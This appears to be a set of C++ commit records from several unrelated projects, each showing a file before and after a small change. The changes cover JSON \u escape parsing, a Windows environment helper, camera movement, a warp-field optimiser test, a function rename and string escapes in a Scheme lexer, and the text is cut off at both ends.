in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\n\/\/ ============================================================================\n\/\/ Includes\n\/\/ ============================================================================\n\n#include \n\n\/\/ ============================================================================\n\/\/ QMJsonType Implementation\n\/\/ ============================================================================\n\ntemplate <>\nQMPointer QM_JSON_EXPORT QMJsonType::fromJson(const QString &json, int32_t &index)\n{\n auto result = QString();\n\n index++;\n\n while (1)\n {\n QMJsonValue::verifyIndex(json, index);\n\n switch (json.at(index).toLatin1())\n {\n case '\\\\':\n {\n index++;\n QMJsonValue::verifyIndex(json, index);\n\n switch (json.at(index).toLatin1())\n {\n case '\"': result += '\"'; break;\n case '\\\\': result += '\\\\'; break;\n case '\/': result += '\/'; break;\n case 'b': result += '\\b'; break;\n case 'f': result += '\\f'; break;\n case 'n': result += '\\n'; break;\n case 'r': result += '\\r'; break;\n case 't': result += '\\t'; break;\n\n \/\/ TODO: Need to add support for \\u [number]\n\n default:\n break;\n };\n\n index++;\n break;\n }\n\n case '\"':\n index++;\n return QMPointer(new QMJsonValue(result));\n\n default:\n result += json.at(index++);\n break;\n };\n }\n\n return QMPointer();\n}\n\ntemplate <>\nQString QM_JSON_EXPORT QMJsonType::toJson(int32_t tab, QMJsonSort sort)\n{\n (void)tab;\n (void)sort;\n\n auto result = QString();\n const auto &str = this->get();\n\n result += '\"';\n for (int i = 0; i < str.length(); i++)\n {\n auto c = str.at(i).toLatin1();\n\n switch (c)\n {\n case '\\\\':\n result += \"\\\\\\\\\";\n break;\n case '\"':\n result += \"\\\\\\\"\";\n break;\n\n case '\/':\n result += \"\\\\\/\";\n break;\n\n case '\\b':\n result += \"\\\\b\";\n break;\n\n case '\\f':\n result += \"\\\\f\";\n break;\n\n case '\\n':\n result += \"\\\\n\";\n break;\n\n case '\\r':\n result += \"\\\\r\";\n break;\n\n case '\\t':\n result += \"\\\\t\";\n break;\n\n default:\n result += c;\n break;\n }\n\n }\n result += '\"';\n\n return result;\n}\n\ntemplate <>\nbool QM_JSON_EXPORT QMJsonType::isBaseType(void)\n{\n return true;\n}\nSupport \\u escapes when converting from json.\/\/\n\/\/ QtMark JSON Library\n\/\/\n\/\/ Copyright (C) 2015 Assured Information Security, Inc.\n\/\/ Author: Rian Quinn \n\/\/ Author: Rodney Forbes \n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\n\/\/ ============================================================================\n\/\/ Includes\n\/\/ ============================================================================\n\n#include \n\n\/\/ ============================================================================\n\/\/ QMJsonType Implementation\n\/\/ ============================================================================\n\ntemplate <>\nQMPointer QM_JSON_EXPORT QMJsonType::fromJson(const QString &json, int32_t &index)\n{\n auto result = QString();\n\n index++;\n\n while (1)\n {\n QMJsonValue::verifyIndex(json, index);\n\n switch (json.at(index).toLatin1())\n {\n case '\\\\':\n {\n index++;\n QMJsonValue::verifyIndex(json, index);\n\n const int32_t CHARS_IN_UNICODE_ESCAPE = 4;\n const int32_t HEX_BASE = 16;\n switch (json.at(index).toLatin1())\n {\n case '\"': result += '\"'; break;\n case '\\\\': result += '\\\\'; break;\n case '\/': result += '\/'; break;\n case 'b': result += '\\b'; break;\n case 'f': result += '\\f'; break;\n case 'n': result += '\\n'; break;\n case 'r': result += '\\r'; break;\n case 't': result += '\\t'; break;\n case 'u':\n QMJsonValue::verifyIndex(json, index + CHARS_IN_UNICODE_ESCAPE);\n result += json.mid(index + 1, CHARS_IN_UNICODE_ESCAPE).toUShort(Q_NULLPTR, HEX_BASE);\n index += CHARS_IN_UNICODE_ESCAPE;\n break;\n\n default:\n break;\n };\n\n index++;\n break;\n }\n\n case '\"':\n index++;\n return QMPointer(new QMJsonValue(result));\n\n default:\n result += json.at(index++);\n break;\n };\n }\n\n return QMPointer();\n}\n\ntemplate <>\nQString QM_JSON_EXPORT QMJsonType::toJson(int32_t tab, QMJsonSort sort)\n{\n (void)tab;\n (void)sort;\n\n auto result = QString();\n const auto &str = this->get();\n\n result += '\"';\n for (int i = 0; i < str.length(); i++)\n {\n auto c = str.at(i).toLatin1();\n\n switch (c)\n {\n case '\\\\':\n result += \"\\\\\\\\\";\n break;\n case '\"':\n result += \"\\\\\\\"\";\n break;\n\n case '\/':\n result += \"\\\\\/\";\n break;\n\n case '\\b':\n result += \"\\\\b\";\n break;\n\n case '\\f':\n result += \"\\\\f\";\n break;\n\n case '\\n':\n result += \"\\\\n\";\n break;\n\n case '\\r':\n result += \"\\\\r\";\n break;\n\n case '\\t':\n result += \"\\\\t\";\n break;\n\n default:\n result += c;\n break;\n }\n\n }\n result += '\"';\n\n return result;\n}\n\ntemplate <>\nbool QM_JSON_EXPORT QMJsonType::isBaseType(void)\n{\n return true;\n}\n<|endoftext|>"} {"text":"\/*\n * GameKeeper Framework\n *\n * Copyright (C) 2013 Karol Herbst \n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"pch.h\"\n\n#include \"windowsinformation.h\"\n\n#include \n#include \n#include \n\n#include \n\nGAMEKEEPER_NAMESPACE_START(core)\n\nusing boost::locale::conv::utf_to_utf;\n\nstd::string\nWindowsInformation::getEnv(const char * name)\n{\n\twchar_t buffer[32767];\n\tDWORD size = GetEnvironmentVariableW(utf_to_utf(name).c_str(), buffer, 32767);\n\treturn utf_to_utf(buffer, &buffer[size]);\n}\n\nvoid\nWindowsInformation::setEnv(const char * name, const char * value)\n{\n\tSetEnvironmentVariableW(utf_to_utf(name).c_str(), utf_to_utf(value).c_str());\n}\n\nstd::string\nWindowsInformation::getEnvSeperator()\n{\n\treturn \";\";\n}\n\nboost::filesystem::path\nWindowsInformation::getSystemRoot()\n{\n\treturn \"C:\\\\\";\n}\n\nboost::filesystem::path\nWindowsInformation::getUserPath()\n{\n\tTCHAR szPath[MAX_PATH];\n\tSHGetFolderPath(NULL, CSIDL_PROFILE, NULL, 0, szPath);\n\treturn szPath;\n}\n\nGAMEKEEPER_NAMESPACE_END(core)\ncore\/windowsinformation: fix compile error while crosscompile\/*\n * GameKeeper Framework\n *\n * Copyright (C) 2013 Karol Herbst \n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"pch.h\"\n\n#include \"windowsinformation.h\"\n\n#include \n\n#include \n#include \n\n#include \n\nGAMEKEEPER_NAMESPACE_START(core)\n\nusing boost::locale::conv::utf_to_utf;\n\nstd::string\nWindowsInformation::getEnv(const char * name)\n{\n\twchar_t buffer[32767];\n\tDWORD size = GetEnvironmentVariableW(utf_to_utf(name).c_str(), buffer, 32767);\n\treturn utf_to_utf(buffer, &buffer[size]);\n}\n\nvoid\nWindowsInformation::setEnv(const char * name, const char * value)\n{\n\tSetEnvironmentVariableW(utf_to_utf(name).c_str(), utf_to_utf(value).c_str());\n}\n\nstd::string\nWindowsInformation::getEnvSeperator()\n{\n\treturn \";\";\n}\n\nboost::filesystem::path\nWindowsInformation::getSystemRoot()\n{\n\treturn \"C:\\\\\";\n}\n\nboost::filesystem::path\nWindowsInformation::getUserPath()\n{\n\tTCHAR szPath[MAX_PATH];\n\tSHGetFolderPath(NULL, CSIDL_PROFILE, NULL, 0, szPath);\n\treturn szPath;\n}\n\nGAMEKEEPER_NAMESPACE_END(core)\n<|endoftext|>"} {"text":"#include \"Camera.h\"\n#include \n#include \n#include \n#include \n#include \n\nCamera::Camera():\n up({0, 1.0f, 0}),\n pos({0, 0, 0}),\n dir({0, 0, 1.0f}),\n view_mat(glm::lookAt(pos, dir+pos, up))\n {}\n\nvoid Camera::translate(glm::vec3 pos) {\n this->pos += pos;\n}\n\nvoid Camera::rotate(float angle, glm::vec3 axis) {\n rot = glm::rotate(rot, angle, axis);\n dir = glm::vec3(glm::vec4(0, 0, 1, 0.0f) * glm::mat4_cast(rot));\n}\n\nglm::mat4 Camera::get_view_mat() {\n view_mat = glm::mat4{};\n view_mat = glm::mat4_cast(rot) * view_mat;\n view_mat = glm::translate(view_mat, pos);\n return view_mat;\n}\n\nvoid Camera::move_forward(float dist) {\n glm::vec3 temp = dir;\n temp.y = 0;\n temp = glm::normalize(temp);\n this->translate(dist*temp);\n}\n\nvoid Camera::move_right(float dist) {\n glm::vec3 left = glm::cross(up, dir); \n this->translate(dist*left);\n}\nChanged camera move direction#include \"Camera.h\"\n#include \n#include \n#include \n#include \n#include \n\nCamera::Camera():\n up({0, 1.0f, 0}),\n pos({0, 0, 0}),\n dir({0, 0, 1.0f}),\n view_mat(glm::lookAt(pos, dir+pos, up))\n {}\n\nvoid Camera::translate(glm::vec3 pos) {\n this->pos += pos;\n}\n\nvoid Camera::rotate(float angle, glm::vec3 axis) {\n rot = glm::rotate(rot, angle, axis);\n dir = glm::vec3(glm::vec4(0, 0, 1, 0.0f) * glm::mat4_cast(rot));\n}\n\nglm::mat4 Camera::get_view_mat() {\n view_mat = glm::mat4{};\n view_mat = glm::mat4_cast(rot) * view_mat;\n view_mat = glm::translate(view_mat, pos);\n return view_mat;\n}\n\nvoid Camera::move_forward(float dist) {\n glm::vec3 temp = dir;\n temp.y = 0;\n temp = glm::normalize(temp);\n this->translate(dist*temp);\n}\n\nvoid Camera::move_right(float dist) {\n glm::vec3 left = glm::cross(up, dir); \n this->translate(-dist*left);\n}\n<|endoftext|>"} {"text":"#include \"opt\/mLibInclude.h\"\n\n#include \"mLibCore.cpp\"\n#include \"mLibLodePNG.cpp\"\n\n#include \n#include \n#include \n#include \n#include \"opt\/main.h\"\n#include \"opt\/CombinedSolver.h\"\n#include \"opt\/OpenMesh.h\"\n#include \n\n\nTEST(OPT_WARP_FIELD, EnergyDataTest)\n{\n const float max_error = 1e-3;\n\n kfusion::WarpField warpField;\n std::vector warp_init;\n\n warp_init.emplace_back(cv::Vec3f(1,1,1));\n warp_init.emplace_back(cv::Vec3f(1,2,-1));\n warp_init.emplace_back(cv::Vec3f(1,-2,1));\n warp_init.emplace_back(cv::Vec3f(1,-1,-1));\n warp_init.emplace_back(cv::Vec3f(-1,1,5));\n warp_init.emplace_back(cv::Vec3f(-1,1,-1));\n warp_init.emplace_back(cv::Vec3f(-1,-1,1));\n warp_init.emplace_back(cv::Vec3f(-1,-1,-1));\n warp_init.emplace_back(cv::Vec3f(2,-3,-1));\n\n warpField.init(warp_init);\n\n std::vector canonical_vertices;\n canonical_vertices.emplace_back(cv::Vec3f(-3,-3,-3));\n canonical_vertices.emplace_back(cv::Vec3f(-2,-2,-2));\n canonical_vertices.emplace_back(cv::Vec3f(0,0,0));\n canonical_vertices.emplace_back(cv::Vec3f(2,2,2));\n canonical_vertices.emplace_back(cv::Vec3f(3,3,3));\n canonical_vertices.emplace_back(cv::Vec3f(4,4,4));\n\n std::vector canonical_normals;\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n\n std::vector live_vertices;\n live_vertices.emplace_back(cv::Vec3f(-2.95f,-2.95f,-2.95f));\n live_vertices.emplace_back(cv::Vec3f(-1.95f,-1.95f,-1.95f));\n live_vertices.emplace_back(cv::Vec3f(0.05,0.05,0.05));\n live_vertices.emplace_back(cv::Vec3f(2.05,2.05,2.05));\n live_vertices.emplace_back(cv::Vec3f(3.05,3.05,3.05));\n live_vertices.emplace_back(cv::Vec3f(4.5,4.05,6));\n\n std::vector live_normals;\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n\n\/\/ CombinedSolverParameters params;\n\/\/ params.numIter = 20;\n\/\/ params.nonLinearIter = 15;\n\/\/ params.linearIter = 250;\n\/\/ params.useOpt = false;\n\/\/ params.useOptLM = true;\n\/\/\n\/\/ CombinedSolver solver(&warpField,\n\/\/ canonical_vertices,\n\/\/ canonical_normals,\n\/\/ live_vertices,\n\/\/ live_normals,\n\/\/ params);\n\/\/ solver.solveAll();\n warpField.energy_data(canonical_vertices, canonical_normals, live_vertices, live_normals);\n warpField.warp(canonical_vertices, canonical_normals);\n\n for(size_t i = 0; i < canonical_vertices.size(); i++)\n {\n ASSERT_NEAR(canonical_vertices[i][0], live_vertices[i][0], max_error);\n ASSERT_NEAR(canonical_vertices[i][1], live_vertices[i][1], max_error);\n ASSERT_NEAR(canonical_vertices[i][2], live_vertices[i][2], max_error);\n }\n}\n\nFixed Opt test#include \"opt\/mLibInclude.h\"\n\n#include \"mLibCore.cpp\"\n#include \"mLibLodePNG.cpp\"\n\n#include \n#include \n#include \n#include \n#include \n#include \"opt\/main.h\"\n#include \"opt\/CombinedSolver.h\"\n#include \"opt\/OpenMesh.h\"\n#include \n\n\nTEST(OPT_WARP_FIELD, EnergyDataTest)\n{\n const float max_error = 1e-3;\n\n kfusion::WarpField warpField;\n std::vector warp_init;\n\n warp_init.emplace_back(cv::Vec3f(1,1,1));\n warp_init.emplace_back(cv::Vec3f(1,2,-1));\n warp_init.emplace_back(cv::Vec3f(1,-2,1));\n warp_init.emplace_back(cv::Vec3f(1,-1,-1));\n warp_init.emplace_back(cv::Vec3f(-1,1,5));\n warp_init.emplace_back(cv::Vec3f(-1,1,-1));\n warp_init.emplace_back(cv::Vec3f(-1,-1,1));\n warp_init.emplace_back(cv::Vec3f(-1,-1,-1));\n warp_init.emplace_back(cv::Vec3f(2,-3,-1));\n\n warpField.init(warp_init);\n\n std::vector canonical_vertices;\n canonical_vertices.emplace_back(cv::Vec3f(-3,-3,-3));\n canonical_vertices.emplace_back(cv::Vec3f(-2,-2,-2));\n canonical_vertices.emplace_back(cv::Vec3f(0,0,0));\n canonical_vertices.emplace_back(cv::Vec3f(2,2,2));\n canonical_vertices.emplace_back(cv::Vec3f(3,3,3));\n canonical_vertices.emplace_back(cv::Vec3f(4,4,4));\n\n std::vector canonical_normals;\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n canonical_normals.emplace_back(cv::Vec3f(0,0,1));\n\n std::vector live_vertices;\n live_vertices.emplace_back(cv::Vec3f(-2.95f,-2.95f,-2.95f));\n live_vertices.emplace_back(cv::Vec3f(-1.95f,-1.95f,-1.95f));\n live_vertices.emplace_back(cv::Vec3f(0.05,0.05,0.05));\n live_vertices.emplace_back(cv::Vec3f(2.05,2.05,2.05));\n live_vertices.emplace_back(cv::Vec3f(3.05,3.05,3.05));\n live_vertices.emplace_back(cv::Vec3f(4.5,4.05,6));\n\n std::vector live_normals;\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n live_normals.emplace_back(cv::Vec3f(0,0,1));\n\n CombinedSolverParameters params;\n params.numIter = 20;\n params.nonLinearIter = 15;\n params.linearIter = 250;\n params.useOpt = false;\n params.useOptLM = true;\n\n kfusion::WarpFieldOptimiser optimiser(&warpField, params);\n\n optimiser.optimiseWarpData(canonical_vertices, canonical_normals, live_vertices, live_normals);\n warpField.warp(canonical_vertices, canonical_normals);\n\n for(size_t i = 0; i < canonical_vertices.size(); i++)\n {\n ASSERT_NEAR(canonical_vertices[i][0], live_vertices[i][0], max_error);\n ASSERT_NEAR(canonical_vertices[i][1], live_vertices[i][1], max_error);\n ASSERT_NEAR(canonical_vertices[i][2], live_vertices[i][2], max_error);\n }\n}\n\n<|endoftext|>"} {"text":"\/*\n * Copyright (C) 2014 Luke San Antonio\n * All rights reserved.\n *\/\n#include \"object.h\"\nnamespace survive\n{\n namespace gfx\n {\n Object create_object(gfx::IDriver& driver, std::string obj,\n std::string mat) noexcept\n {\n auto ret = Object{};\n ret.mesh = driver.prepare_mesh(Mesh::from_file(obj));\n ret.material = load_material(mat);\n return ret;\n }\n void object_render(Object const& obj) noexcept\n {\n if(obj.material) obj.material->use();\n if(obj.mesh) obj.mesh->render();\n }\n }\n}\nobject_render should be render_object in gfx\/object.cpp.\/*\n * Copyright (C) 2014 Luke San Antonio\n * All rights reserved.\n *\/\n#include \"object.h\"\nnamespace survive\n{\n namespace gfx\n {\n Object create_object(gfx::IDriver& driver, std::string obj,\n std::string mat) noexcept\n {\n auto ret = Object{};\n ret.mesh = driver.prepare_mesh(Mesh::from_file(obj));\n ret.material = load_material(mat);\n return ret;\n }\n void render_object(Object const& obj) noexcept\n {\n if(obj.material) obj.material->use();\n if(obj.mesh) obj.mesh->render();\n }\n }\n}\n<|endoftext|>"} {"text":"\/\/\n\/\/ $Id$\n\n#include \"script\/Lexer.h\"\n\nLexer::Lexer (const QString& expr, const QString& source) :\n _expr(expr),\n _source(source),\n _idx(0),\n _line(0),\n _lineIdx(0)\n{\n}\n\n\/**\n * Checks whether the specified character is a delimiter.\n *\/\nstatic bool isDelimiter (QChar ch)\n{\n return ch.isSpace() || ch == ';' || ch == '#' || ch == '\\\"' ||\n ch == '(' || ch == ')' || ch == '[' || ch == ']';\n}\n\n\/**\n * Creates the named character map.\n *\/\nstatic QHash createNamedChars ()\n{\n QHash hash;\n hash.insert(\"nul\", 0x0);\n hash.insert(\"alarm\", 0x07);\n hash.insert(\"backspace\", 0x08);\n hash.insert(\"tab\", 0x09);\n hash.insert(\"linefeed\", 0x0A);\n hash.insert(\"newline\", 0x0A);\n hash.insert(\"vtab\", 0x0B);\n hash.insert(\"page\", 0x0C);\n hash.insert(\"return\", 0x0D);\n hash.insert(\"esc\", 0x1B);\n hash.insert(\"space\", 0x20);\n hash.insert(\"delete\", 0x7F);\n return hash;\n}\n\n\/**\n * Returns a reference to the named character map.\n *\/\nstatic const QHash& namedChars ()\n{\n static QHash namedChars = createNamedChars();\n return namedChars;\n}\n\nint Lexer::nextLexeme ()\n{\n for (int nn = _expr.length(); _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (ch.isSpace()) {\n if (ch == '\\n') {\n _line++;\n _lineIdx = _idx + 1;\n }\n continue;\n }\n if (ch == ';') { \/\/ comment; ignore everything until the next line\n for (_idx++; _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (ch == '\\n') {\n _line++;\n _lineIdx = _idx + 1;\n break;\n }\n }\n continue;\n }\n _position = pos();\n if (ch == '(' || ch == ')' || ch == '[' || ch == ']' || ch == '\\'' || ch == '`') {\n _idx++;\n return ch.unicode();\n }\n if (ch == ',') {\n _idx++;\n if (_idx < nn && _expr.at(_idx) == '@') {\n _idx++;\n return UnquoteSplicing;\n }\n return ',';\n }\n if (ch == '\\\"') {\n _string = \"\";\n for (_idx++; _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (ch == '\\\\') {\n if (++_idx == nn) {\n break; \/\/ means the literal is unclosed\n }\n ch = _expr.at(_idx);\n if (ch.isSpace()) { \/\/ continuation\n for (; _idx < nn; _idx++) {\n ch = _expr.at(_idx);\n if (ch == '\\n') {\n _line++;\n _lineIdx = _idx + 1;\n break;\n }\n }\n for (_idx++; _idx < nn; _idx++) {\n ch = _expr.at(_idx);\n if (!ch.isSpace() || ch == '\\n') {\n _idx--;\n break;\n }\n }\n continue;\n }\n switch (ch.unicode()) {\n case '\\\"':\n case '\\\\':\n break;\n\n case 'n':\n ch = '\\n';\n break;\n\n default:\n throw ScriptError(\"Unrecognized escape.\", pos());\n }\n } else if (ch == '\\\"') {\n _idx++;\n return String;\n }\n _string.append(ch);\n }\n throw ScriptError(\"Unclosed string literal.\", _position);\n }\n if (ch == '#') {\n if (_idx + 1 < nn) {\n switch (_expr.at(_idx + 1).unicode()) {\n case 't':\n case 'T':\n _boolValue = true;\n _idx += 2;\n return Boolean;\n\n case 'f':\n case 'F':\n _boolValue = false;\n _idx += 2;\n return Boolean;\n\n case '\\\\':\n if (_idx + 2 < nn) {\n QString string(_expr.at(_idx + 2));\n for (_idx += 3; _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (isDelimiter(ch)) {\n break;\n }\n string.append(ch);\n }\n if (string.size() == 1) {\n _charValue = string.at(0);\n return Char;\n }\n QHash::const_iterator it = namedChars().find(string);\n if (it != namedChars().constEnd()) {\n _charValue = it.value();\n return Char;\n }\n if (string.at(0) != 'x') {\n throw ScriptError(\"Unknown character.\", _position);\n }\n bool ok;\n int value = string.remove(0, 1).toInt(&ok, 16);\n if (!ok || value < 0) {\n throw ScriptError(\"Invalid character value.\", _position);\n }\n _charValue = value;\n return Char;\n }\n break;\n\n case '(':\n _idx += 2;\n return Vector;\n\n case 'v':\n if (_idx + 4 < nn && _expr.mid(_idx + 2, 3) == \"u8(\") {\n _idx += 5;\n return ByteVector;\n }\n break;\n\n case '\\'':\n _idx += 2;\n return Syntax;\n\n case '`':\n _idx += 2;\n return Quasisyntax;\n\n case ',':\n if (_idx + 2 < nn && _expr.at(_idx + 2) == '@') {\n _idx += 3;\n return UnsyntaxSplicing;\n }\n _idx += 2;\n return Unsyntax;\n\n case '!':\n if (_idx + 5 < nn && _expr.mid(_idx + 2, 4) == \"r6rs\") {\n _idx += 6;\n continue;\n }\n break;\n\n case '|': {\n int depth = 1;\n for (_idx += 2; _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n switch (ch.unicode()) {\n case '\\n':\n _line++;\n _lineIdx = _idx + 1;\n break;\n\n case '#':\n if (_idx + 1 < nn && _expr.at(_idx + 1) == '|') {\n _idx++;\n depth++;\n }\n break;\n\n case '|':\n if (_idx + 1 < nn && _expr.at(_idx + 1) == '#') {\n _idx++;\n if (--depth == 0) {\n goto outerContinue;\n }\n }\n break;\n }\n }\n break;\n }\n case ';':\n _idx += 2;\n return Comment;\n }\n }\n } else if (ch == '+' || ch == '-') {\n if (_idx + 1 < nn) {\n QChar nch = _expr.at(_idx + 1);\n if (nch.isDigit() || nch == '.') {\n return readNumber();\n }\n }\n } else if (ch == '.') {\n if (_idx + 1 < nn) {\n QChar nch = _expr.at(_idx + 1);\n if (nch.isDigit()) {\n return readNumber();\n }\n }\n } else if (ch.isDigit()) {\n return readNumber();\n }\n\n \/\/ assume it to be an identifier; search for first non-identifier character or end\n _string = \"\";\n for (; _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (isDelimiter(ch)) {\n break;\n }\n _string.append(ch);\n }\n return Identifier;\n\n \/\/ allow nested loops to continue\n outerContinue: ;\n }\n return NoLexeme;\n}\n\nLexer::LexemeType Lexer::readNumber ()\n{\n \/\/ read until we reach a non-number character, noting if we see a decimal\n QString nstr;\n bool decimal = false;\n\n for (int nn = _expr.length(); _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (ch == '.') {\n nstr.append(ch);\n decimal = true;\n continue;\n }\n if (!(ch.isLetter() || ch.isDigit() || ch == '+' || ch == '-')) {\n break;\n }\n nstr.append(ch);\n }\n bool valid;\n if (decimal) {\n _floatValue = nstr.toFloat(&valid);\n if (!valid) {\n throw ScriptError(\"Invalid float literal.\", _position);\n }\n return Float;\n\n } else {\n _intValue = nstr.toInt(&valid, 0); \/\/ allow 0x### for hex, 0### for octal\n if (!valid) {\n throw ScriptError(\"Invalid integer literal.\", _position);\n }\n return Integer;\n }\n}\nCharacter codes in strings.\/\/\n\/\/ $Id$\n\n#include \"script\/Lexer.h\"\n\nLexer::Lexer (const QString& expr, const QString& source) :\n _expr(expr),\n _source(source),\n _idx(0),\n _line(0),\n _lineIdx(0)\n{\n}\n\n\/**\n * Checks whether the specified character is a delimiter.\n *\/\nstatic bool isDelimiter (QChar ch)\n{\n return ch.isSpace() || ch == ';' || ch == '#' || ch == '\\\"' ||\n ch == '(' || ch == ')' || ch == '[' || ch == ']';\n}\n\n\/**\n * Creates the named character map.\n *\/\nstatic QHash createNamedChars ()\n{\n QHash hash;\n hash.insert(\"nul\", 0x0);\n hash.insert(\"alarm\", 0x07);\n hash.insert(\"backspace\", 0x08);\n hash.insert(\"tab\", 0x09);\n hash.insert(\"linefeed\", 0x0A);\n hash.insert(\"newline\", 0x0A);\n hash.insert(\"vtab\", 0x0B);\n hash.insert(\"page\", 0x0C);\n hash.insert(\"return\", 0x0D);\n hash.insert(\"esc\", 0x1B);\n hash.insert(\"space\", 0x20);\n hash.insert(\"delete\", 0x7F);\n return hash;\n}\n\n\/**\n * Returns a reference to the named character map.\n *\/\nstatic const QHash& namedChars ()\n{\n static QHash namedChars = createNamedChars();\n return namedChars;\n}\n\nint Lexer::nextLexeme ()\n{\n for (int nn = _expr.length(); _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (ch.isSpace()) {\n if (ch == '\\n') {\n _line++;\n _lineIdx = _idx + 1;\n }\n continue;\n }\n if (ch == ';') { \/\/ comment; ignore everything until the next line\n for (_idx++; _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (ch == '\\n') {\n _line++;\n _lineIdx = _idx + 1;\n break;\n }\n }\n continue;\n }\n _position = pos();\n if (ch == '(' || ch == ')' || ch == '[' || ch == ']' || ch == '\\'' || ch == '`') {\n _idx++;\n return ch.unicode();\n }\n if (ch == ',') {\n _idx++;\n if (_idx < nn && _expr.at(_idx) == '@') {\n _idx++;\n return UnquoteSplicing;\n }\n return ',';\n }\n if (ch == '\\\"') {\n _string = \"\";\n for (_idx++; _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (ch == '\\\\') {\n if (++_idx == nn) {\n break; \/\/ means the literal is unclosed\n }\n ch = _expr.at(_idx);\n if (ch.isSpace()) { \/\/ continuation\n for (; _idx < nn; _idx++) {\n ch = _expr.at(_idx);\n if (ch == '\\n') {\n _line++;\n _lineIdx = _idx + 1;\n break;\n }\n }\n for (_idx++; _idx < nn; _idx++) {\n ch = _expr.at(_idx);\n if (!ch.isSpace() || ch == '\\n') {\n _idx--;\n break;\n }\n }\n continue;\n }\n switch (ch.unicode()) {\n case '\\\"':\n case '\\\\':\n break;\n\n case 'a':\n ch = '\\a';\n break;\n\n case 'b':\n ch = '\\b';\n break;\n\n case 't':\n ch = '\\t';\n break;\n\n case 'n':\n ch = '\\n';\n break;\n\n case 'v':\n ch = '\\v';\n break;\n\n case 'f':\n ch = '\\f';\n break;\n\n case 'r':\n ch = '\\r';\n break;\n\n case 'x': {\n QString string;\n for (_idx++; _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (ch == ';') {\n break;\n }\n string.append(ch);\n }\n bool ok;\n ch = string.toInt(&ok, 16);\n if (!ok) {\n throw ScriptError(\"Invalid character code.\", pos());\n }\n break;\n }\n default:\n throw ScriptError(\"Unrecognized escape.\", pos());\n }\n } else if (ch == '\\\"') {\n _idx++;\n return String;\n }\n _string.append(ch);\n }\n throw ScriptError(\"Unclosed string literal.\", _position);\n }\n if (ch == '#') {\n if (_idx + 1 < nn) {\n switch (_expr.at(_idx + 1).unicode()) {\n case 't':\n case 'T':\n _boolValue = true;\n _idx += 2;\n return Boolean;\n\n case 'f':\n case 'F':\n _boolValue = false;\n _idx += 2;\n return Boolean;\n\n case '\\\\':\n if (_idx + 2 < nn) {\n QString string(_expr.at(_idx + 2));\n for (_idx += 3; _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (isDelimiter(ch)) {\n break;\n }\n string.append(ch);\n }\n if (string.size() == 1) {\n _charValue = string.at(0);\n return Char;\n }\n 